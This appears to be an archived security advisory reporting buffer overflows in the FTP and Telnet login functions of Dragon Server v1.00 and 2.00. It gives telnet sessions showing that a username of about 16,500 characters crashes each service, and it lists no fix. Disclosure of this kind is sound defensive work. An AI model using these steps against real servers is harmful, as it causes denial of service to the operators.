COMMAND

    Dragon Server

SYSTEMS AFFECTED

    Dragon Server v1.00, 2.00

PROBLEM

    The Ussr  Labs team  has discovered  a null  memory problem in the
    Dragon Server.  Ussr Labs  found multiple places in Dragon  Server
    where they do not use  proper bounds checking.  The  following all
    results in a Denial of Service against the service in question.

    Example.  The Ftp Server (Port  21) service has a overflow in  the
    login function:

        [hellme@die-communitech.net$ telnet example.com 21
        Trying example.com...
        Connected to example.com.
        Escape character is '^]'.

        220 Dragon Server v2.0, ready.
        USER [buffer]

    Where [buffer] is aprox. 16500 characters and the process containg
    the service crash

    Example 2.  The Telnet Server (Port 23) service has a overflow  in
    the login function:

        [hellme@die-communitech.net$ telnet example.com
        Trying example.com...
        Connected to example.com.
        Escape character is '^]'.

        Dragon Server v2.0, ready.

        Login:   [buffer]

    Where [buffer] is aprox. 16500 characters and the process containg
    the service crash.

SOLUTION

    Nothing yet.